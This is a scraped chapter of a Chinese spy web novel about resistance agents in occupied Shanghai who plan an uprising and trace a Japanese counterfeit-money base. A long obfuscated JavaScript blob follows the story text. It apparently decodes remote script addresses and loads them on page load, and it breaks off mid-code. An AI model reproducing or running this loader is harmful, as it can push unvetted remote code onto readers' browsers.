首页
第150章:都、只欠东风(下
返回

第150章:都、只欠东风(下)(七千三,说到做到了了吧!)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    为了检查这辆汽车,林夕做了充足的工作,比方说提前就“放风”说最近抵抗份子活跃异常,有可能会冲着零号研究院而来。
    安检组这边正好是组长和副组长赴宴了,没有人愿意背锅——在林夕看来这辆汽车应该很容易就遭到检查,自己届时也可以观察车内运送的是什么东西。
    但出乎意料的是安检组进行检查的时候,仅仅几句话后便不得不放行。
    林夕心中惊讶,居然不检查?
    要知道,在安检组的组长和副组长都不在的情况下,在他放出了这种风声的情况下,安检组的日本人应该严格进行安检,怎么会轻易放这辆车进入?
    他利用闲聊的机会向安检组的日本人进行了套话,得到了一个在安检组看来不怎么重要的情报:
    这辆汽车有藤田芳政亲自签署的特别通行证,并拥有研究院负责人亲自签署的免检证。
    这也是安检组为什么会放行的缘由。
    林夕这才明白自己的算计为什么会失败。
    次日只能向等待的上峰汇报,并说自己会另寻他法。
    上峰让他稍作等待,他回里屋一趟,十多分钟后上峰出来,给出了一个让林夕愕然的命令:
    停止调查。
    虽然不知道缘由,但林夕还是遵循了命令。
    他不知道的是,收到手下电话通知的张安平,这时候已经确认,这辆拥有特别通行证和免检证的汽车,绝对就是自己要找的目标!
    为了避免打草惊蛇,张安平只能选择派人以分段监控的目的,确认这辆汽车上货物的源头——而这个过程,用了整整五天!
    负责这件事调查的是李伯涵,五天后,他将结果向张安平进行了汇报。
    “老师,根据我的人监控,这辆汽车上的货物,是从金利源码头运来的——具体流程是货物运抵金利源码头后,经过三个环节的秘密转运,最后才会运上这辆汽车,最后驶入零号研究院。”
    “金利源?”
    张安平一惊,难不成是从日本本土运来的?
    不对!
    如果从日本本土运来,不可能这般小的规模!
    所以,只有一个可能:
    货物是通过水运的方式,从真正的制造窝点运到了“金利源”码头。
    “继续查下去!我需要知道真正的源头!”
    李伯涵恭敬应是。
    ……
    林夕混到安检组等待“检查”最后一辆汽车的时候,地下党方面的代表袁农和徐百川会面了。
    袁农还没有来之前,徐百川就已经获知了袁农的情报,待见到袁农后,徐百川便似笑非笑的说道:
    “白先生,贵党的诚意可是真的足啊!竟然派白先生出马,鄙人真是万分荣幸啊!”
    徐百川现在也就在张安平跟前不炸刺——不是不炸刺,而是炸刺的次数太多,被拔掉的刺太多了。
    但他从来都不是一个善茬!
    他“好心”和地下党要联手,地下党方面居然只派了一个袁农——这也是他为什么要当阴阳先生的原因。
    他好歹是上海区的二把手、特一区的区长,正宗的国军上校!
    眼前的这个人呢?
    只不过是地下党上海S委的高层之一——和我徐百川对接,起码得出个江苏S委的高层吧?
    袁农笑吟吟说道:
    “我原以为能和张世豪张先生再度把酒言欢。”
    徐百川忍俊不禁道:“如果白先生愿意,我可以请世豪区长出马和白先生对接,如何?”
    袁农不甘示弱:“好啊!”
    眼看着两人几句话就把火药点了起来,跟随袁农而来的一名中年人干咳几声后说道:
    “二位应该不是为了吵架而来的吧?”
    徐百川看了说话的中年人一眼,赞同的说道:
    “纪教授说的对。”
    纪中原的眼神瞬间一凝。
    他来赴会,是专门经过了乔装的,故意遮掩了身上的书生气,一副商人的模样。
    但徐百川却喊出了他的身份——要知道在陈默群时代,陈默群费尽心机都没有查到他!
    很明显,这是徐百川在秀肌肉!
    意味很明显:军统有强大的情报能力,我也知道你们的底细,咱们现在是一条线上的战友,我没有卖过你们!
    不得不说,和聪明人打交道就是容易。
    徐百川故意点出纪中原的身份后,就等于暗戳戳的又表现了诚意,袁农和纪中原马上放下仅有的质疑,和徐百川的谈判正式开始。
    袁农正色道:
    “徐先生,咱们言归正传,贵方能否谈谈此次合作的范围?”
    徐百川道:
    “此次联合的目的,是为了在七七事变一周年,用一场声势浩大的行动向全国人民展现我们抗战的决心,鼓励全国人民的抗战事业!”
    二人的话牛头不对马嘴——袁农问的是合作范围,徐百川讲的却是意义,顺便用大义来束缚。
    袁农闻言立刻皱眉。
    声势浩大?
    能让徐百川冠以声势浩大四个字,行动的规模,大概是不会逊于前不久的军火库群大爆炸。
    但出于对国民党的戒备,袁农本能的认为徐百川这是要拿地下党当炮灰!
    国军这是有前科的,以前的事不说了,就淞沪会战期间,国军就有这样的前科——彼时还是特务处的军统要组织别动队,为了配合抗战地下党出人出力。
    结果呢?
    江浙行动委员会三番五次的要坑地下党组成的大队,要么是去敌占区行动,要么是用鸡蛋碰石头。
    现在上海区要搞大动作,对地下党送钱送枪,谁敢说他们没有坏心思?
    袁农没有吃这个大饼,而是冷静的说道:“徐先生,说一下合作范围!”
    “我需要贵党发动工人,在当日发动起义。”
    “发动起义?”袁农的脸色阴沉下来:“徐先生,你说的倒是轻巧!”
    “起义一旦发动,势必会遭到日本人的重点弹压!上海有日本的海军、超过万余的陆军,还有六千多伪警察,一旦起义,伱考虑过他们的生死吗?”
    “当初日军在上海只有三千人的时候,万余国军奈何不了!现在上海被日本人占据,你觉得依靠工人兄弟的一腔热血,就能打出比正规军更好的战绩吗?”
    徐百川等袁农说完,才不紧不慢的说道:“袁先生,我们是有诚意的,自然不会做这种踹战友入火坑的事。”
    “起义的力量无需对日军进行攻击——我们的目标是炸毁日商工厂、袭击抵抗能力差的伪警察局、袭击日军哨所、袭击臭名昭著的汉奸产业。”
    “总而言之就一句话,我们的目标是摧毁日本人这半年多以来经济侵略的成果!不是以卵击石,让起义的工人和日军硬碰硬!”
    “张区长向来反对让未经训练的热血儿郎去战斗,我们也不会做这种事!”
    “为保存这次起义的有生力量,我们决定起义后的行动只持续12个小时!次日7点前,起义部队必须从上海完成撤离——关于撤离路线,将由我方和贵方协商决定,力求不舍弃一名起义的战士!”
    徐百川这话中的诚意足吗?
    太足了!
    足到袁农一万个不信,就连纪中原,都忍不住问:
    “为什么?”
    在淞沪会战期间都不忘坑地下党的军统,突然间吃斋念佛,谁信啊家人们……
    “我们需要一次酣畅淋漓的大胜!”徐百川神色严峻的说道:“我们需要告诉全国人民,即便是沦陷的城市,我们的抵抗也不会停止!”
    “两位,我方的诚意就在这里,希望贵方能看在民族统一阵线的份上,放下个人恩怨、不计前嫌,和我们携手抗击日寇!”
    袁农和纪中原对视一眼。
    两人都在对方的眼中看到了无奈——他们不相信军统会这么的好心,但他们却被大义所绑架啊!
    袁农问:“徐区长,按您的意思,这一次的行动,是贵方指挥我方?”
    “发动工人这方面,贵方比我们擅长,但论指挥作战,贵方肯定是不及我方——但我方愿意和贵方联合成立起义指挥部,共同指挥。”
    徐百川说到这里,果然用到了一个词:
    但是!
    “但是,我希望贵方能认清一点,论军事指挥、战斗布局,这是我方的强项,希望贵方不要想着外行指挥内行!”
    徐百川的意思是:联合指挥,我们负责指挥,你们看着就行,确保不会拿你们当炮灰。
    过分么?
    过分!
    但比起淞沪会战时候的别动队指挥体系对共产党员的欺凌,这又是满当当的诚意!
    以至于袁农本能的就想答应下来。
    好在纪中原悄悄的踢了袁农一脚,袁农才没有冲动的答应。
    袁农冷静下来,道:“徐区长,这件事我还需要向上级汇报才行。”
    徐百川摆出一副我早知道会这样的表情,然后意有所指的道:“原来白先生无法做主啊,我倒是白开心一场——希望贵方能尽早给我一个满意的答案。”
    “徐区长,既然是诚心合作,那便没必要逞口舌之利。”纪中原不卑不亢道:“兹事体大,我方随口便答应下来,徐区长心里恐怕反而不安吧?”
    “纪教授说的对,徐某倒是小肚鸡肠了。”
    徐百川摆出的态度很是诚恳,反倒是让袁农觉得自己小肚鸡肠,一旁的纪中原不动声色,心里却暗道:
    自古无事献殷勤者非奸即盗,此人要么是同志,要么,绝对包藏祸心!
    和徐百川结束会面后,袁农和纪中原见到了一直在等待消息的上海地下党负责人。
    两人如实的汇报了和徐百川会面的经过,将徐百川说到的条件转告了上级。
    上级听完后沉吟许久,问两人道:
    “你们是怎么想的?”
    袁农犹豫了下,道:“我觉得可以和他们联手,不过我们要谨防他们在联手中耍小动作、坑害我们。”
    负责人望向纪中原:“你呢?”
    面对上级的询问,纪中原沉吟后说道:“我心里很没谱。从情理上来讲,我们应该答应,但我总觉得军统不会这么好心——以张世豪为例,我们都以为他是因为日寇侵略故而以大局为重,结果呢?他一边和我们说着放下前仇一致对外,一边却暗中却对我们进行渗透!”
    负责人凝声问:
    “你觉得该不该联手?”
    深呼吸一口气后,纪中原道:“该!大义当前,虽千万人吾往矣!”
    负责人赞许的点头,道:“是啊,无论如何,对付外敌才是首要!”
    有了负责人的首肯,袁农大喜过望,纪中原见此话到嘴边嗫诺一番后终究没有说出口,但在心中告诫自己:
    一定要谨慎谨慎再谨慎!
    因为这两人负责和徐百川交涉,负责人便告知两人,接下来的联合指挥部,将由两人作为己方负责,全权配合军统的行动。
    交代完毕后两人离开,一人从另一间屋子里出来了。
    正是明楼。
    “首长。”
    “明楼同志,坐——这一次多亏了你啊!”负责人感慨万千。
    地下党和军统在抗战全面爆发后合作过多次,但没有一次是和谐落幕的——军统总想着拿地下党当枪使或者当弃子。
    这一次若不是明楼,被蛇咬了多次的负责人,是真的不想搭理军统的橄榄枝。
    哪怕军统破天荒的用利诱的方式。
    “首长,”明楼虽然没有向负责人说明真正的情况,但也没脸揽下这样的功劳,干脆转移话题,道:“您觉得这次起义,能不能达到目的?”
    负责人认真说道:“虽然我不齿张世豪此人,但不得不说,他的布局向来是天马行空、羚羊挂角无迹可寻,这一次日本人肯定会着他的道。”
    “咱们关键时候不要被徐百川算计、恰当抽身即可。”
    明楼犹豫了下,问:“那能不能顺势往军统那边……”
    他想说的是能不能借此机会往军统安插些人手。
    负责人直接打断明楼的话:
    “明楼同志,有些事军统可以做,但我们不能做。”
    “我知道你的意思,但我们不能这样做!”
    明楼点头,示意自己明白——难怪张安平这厮不想着借此机会安插一些自己的同志呢。
    ……
    地下党这边、徐百川这边,都对这一次的行动充满了信心。
    换做是别人指挥,不管是谁,都得心里发虚。
    可这是张安平操盘的!
    而张安平自从去年年初开始,就从没有在日本人手下吃过亏,而且屡次还让日本人吃亏!
    这种彪悍的战绩搁着摆着,对张安平真实身份不了解的地下党,都对张安平有盲目的信任!
    但张安平本人,可对自己没有绝对的信任。
    说穿了,他搞的全是“阴谋”。
    阴谋和阳谋的区别是:阴谋的本质是弄险,说破就得完蛋,阳谋则是堂堂正正,说破了也是无解。
    话说他也是想堂堂正正的玩阳谋的,但可惜……实力它不允许啊!
    张安平知道阴谋的“坏处”,所以一次次用阴谋获取了丰厚的回报,但他每一次都是如履薄冰。
    因为一次的失败,会万劫不复!
    就如目前他所操盘的计划。
    徐百川和地下党方面完成了协商,秘密组建了联合的指挥部,为接下来的起义做起了准备。
    但张安平却始终觉得不踏实。
    起义是一项涉及到众多人的繁杂事宜,尤其是日本人高压统治下的上海,一旦出现泄密,因为涉及到的人员太多、范围太广,很容易被顺藤摸瓜。
    纵观历史,多少的起义因为告密的缘故失败?
    况且对手还是藤田芳政这种能设计出“阴阳局”的情报界老人!
    思来想去,张安平觉得自己该加一层保险。
    一层能让藤田芳政在关键时候误判的保险。
    用阴谋“保护”阴谋嘛!
    但这一层保险怎么加却是个问题——再三思索后,张安平决意和郑耀先商量商量。
    和郑耀先见面后,张安平道出了自己的想法,郑耀先本能的问:
    “加保险?怎么加?你心里有想法吗?”
    来自老郑的灵魂三连。
    张安平心里有想法,但却不满的反问:“你觉得该怎么加这层保险?”
    察觉到自己对张安平依赖过甚的郑耀先干笑一声,思索一阵后,用不确定的口吻道:“浑水摸鱼?”
    “大概怎么操作?”
    “让藤田芳政知道咱们要搞起义!”郑耀先索性直接说出自己的想法:“他盯着的是零号研究院,要是他知道咱们要搞起义,一定会认为这是咱们放出的烟幕弹。”
    “他会查,但一定不会投入太多的精力。”
    “之后要是还有类似的消息,他肯定会认为这是我们又分散他注意力的手段——他依然会假装上当,但依然不会投入太多的精力,哪怕是有一个或者几个点暴露,他也会认为这只是烟幕弹。”
    话说任何一次起义的重点都在“武备”这两字上面。
    正常人的思维逻辑:
    要在上海搞起义,少量的武器肯定是能弄到的,但大规模的武器是不可能弄到的——所以只要出现这种情况,守好军火库基本上就能万事大吉。
    所以在郑耀先看来,藤田芳政必然陷入这样的逻辑。
    这也是绝大多数人的逻辑。
    但偏偏张安平这货不按常理出牌,起义的武器根本就不是问题。
    因此,在郑耀先看来,只要操作得当,完全可以让藤田芳政产生致命的误判。
    而只要拖到7号当天,那就是胜利!
    因为起义的目标不是占领上海,不是杀伤日军,只要起义,既定的目标是很容易实现的。
    这也是他提出了【烟幕弹方案】的缘由。
    张安平不断思索起来,眼见张安平思索了这么久,郑耀先心里反倒是不安了起来,他小声道:
    “我觉得你可能考虑的比我周全——”
    张安平闻言不由大笑起来:“老郑,你对自己这么没信心吗?”
    郑耀先大怒之……
    因为他感觉自己被鄙夷了。
    不是他对自己没信心,而是习惯了张安平的算无遗策嘛!
    玩笑开过后,张安平正色问:“这个方案可行,你能搞定?”
    郑耀先想了想,道:“我故意在身边留了一枚‘炸弹’,这次正好用到。”
    “死间?反间?”
    “没那么夸张。”郑耀先不是王天风,且向来是以义气著称,哪会用死间?
    他解释说道:“是个贪污经费的败类,我故意留着他,就是等着关键时候又用来逼反。”
    “现在不用更待何时?”
    张安平这下安心了,老郑虽然在自己跟前不靠谱,但上海站站长郑耀先、未来的军统六哥,可从来都不是“好人”,这招式他肯定不会出问题。
    “那就交给你了!”
    看张安平答应的这么爽快,郑耀先不爽的道:“喂,你小子是不是也是和我一样的主意?只是心里没谱,所以才找我参谋?”
    张安平自然不会承认,他得给未来的六哥多一点自信嘛!
    他避而不答,转移话题道:“明楼的消息,老徐对组织的调查挺深的,他知道市委重要干部纪中原的身份,却一直引而不发。明楼怀疑老徐这家伙,没少往组织里掺沙子,你怎么看?”
    郑耀先琢磨着说道:“这事怪你。”
    “怪我?”
    “有你在,我猜老徐是觉得对上日本人就不需要挣扎了,反正没你算计的好!”
    “所以,他将精力放在了对组织的调查上——应该是这样。”
    张安平苦笑起来,还别说,真有这个可能。
    “正好这次看看老徐的成果。这桃子该摘了。”
    两人又谈论一阵后道别,随后各自布置起来——张安平继续追查真正的伪钞据点,而郑耀先则开始了烟幕弹计划。
    ……
    花开两端各表一枝。
    先说伪钞据点的调查。
    经过李伯涵多日的追查,他终于查到了伪钞据点的地址。
    “老师,真正的伪钞据点在这里——”李伯涵展开上海地图,将手指摁在了海上一个极小的点上,说道:
    “大金山岛!”
    “日本人的伪钞据点,就放在大金山岛!半成品的伪钞制造完毕后,用补给船通过金汇塘运到黄浦江上的隆茂栈码头,然后再通过从日本过来的海船,途径金利源码头时候卸下,营造半成品伪钞是从日本运来的假象。”
    老实说,刚开始李伯涵还真的被忽悠到了。
    但他的能力是真的强,也有和张安平一样的判断,坚定的认为从日本本土发货,规模对不上号。
    且也不应该这么平凡。
    所以他继续溯源追查,终于查到了隆茂栈码头,又查到了往返金汇塘的船上,最终锁定了距离海岸线将近7公里的大金山岛。
    “做的不错,你有心了。”张安平虽然不知道期间的具体波折,但能识破日本人这么复杂的流程溯源,李伯涵肯定是用心了。
    被张安平这么一夸,李伯涵感觉骨头都轻了不少,强忍着内心的喜意,他继续说:
    “我利用美国货船三次经过大金山岛,又专门从补给船的采购进行调查,推测这座只有0.3平方公里的小岛上,应该有大约两百人的规模——大概是一个中队的驻军外加几十名工人。”
    “老师,想要拿下这座岛的话,恐怕不易。”
    一个中队的驻军?
    张安平神色凝重起来。
    距离海岸线7公里不到,一个中队把守的小岛,想要拿下,确实不易啊!
    藤田芳政这家伙,还真重视伪钞啊!
    阴阳局不说,还处处遮掩、层层设防,虽然李伯涵查到了真正的窝点,但难度比自己想象中的可要大很多啊。
    关键是这岛孤悬海上,想要侦查都是难度重重——一旦打草惊蛇,这个窝点端都端不掉啊!
    “我知道了,你暂停对大金山岛的侦查。剩下的事我来操作。”
    “是!”
    ……
    张安平面对李伯涵探查出的大金山岛发愁的时候,郑耀先的布置生效了!
    他手下一名叫蒋奇伟的少校叛逃了!
    蒋奇伟之所以叛逃,是因为他贪污经费的事被查出来了,知晓军统家法严峻的蒋奇伟,索性直接叛逃到了日本人这边。
    为了让自己显得更有价值,蒋奇伟将一条重要的情报告诉了日本人:
    上海站在策划起义!
    日本人二话不说就根据蒋奇伟提供的情报进行了抓捕,但要抓捕的对象先他们一步完成了撤离。
    日本人干脆决定抓捕要起义的工厂工人,却不料这座工厂的五十多名工人,又先他们一步撤离了——唯一的收获是他们在蒋奇伟提供的地点中,搜出了十来条长枪。
    这条消息很快就送到了藤田芳政的案头。
    【起义?】
    藤田芳政笑了。
    他笑的极其开心。
    开什么玩笑,军统搞点破坏还行,要是组织起义,那不正中他的下怀吗?
    所以,藤田芳政做出了判断:
    所谓的蒋奇伟叛逃,其实是张世豪谋划的,可能是怕联想到他自己,所以用了上海站的名头——所谓的起义,根本就是子虚乌有的事!
    而目的,无非就是分散自己的精力,从而浑水摸鱼,对零号研究院下手!
    “张世豪啊张世豪,看样子你是憋不住了啊!”
    “既然你这么卖力,那我就得满足满足你!”
    藤田芳政给蒋奇伟“送”了一顶警察分局副局长的帽子,命令蒋奇伟和76号携手对【起义】进行调查。
    他看似很重视,但实际上,所有的精力依然都放在了零号研究院。
    拿破仑有个滑铁卢,而零号研究院,在藤田芳政看来,这就是老对手张世豪的滑铁卢!
    而接下来由汪曼春送来的情报,也无疑佐证了他的判断:
    零号研究院周围,开始经常有人“流连忘返”!
    “张世豪的张世豪,阴谋终究是小道,堂堂正正的阳谋,才是兵者的最高境界!”
    藤田芳政盯着地图,轻声说:
    “现在,你是不是觉得就欠一股东风了吧!”
    同一时间,张安平遥望着大海,轻声说:
    “万事俱备,只欠东风。”
    “老对手,你……是不是该给我送一股东风了?”
    私事算是彻底的解决了,今天七千三,明天保底八千三!我、狗作者、雄起ing
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 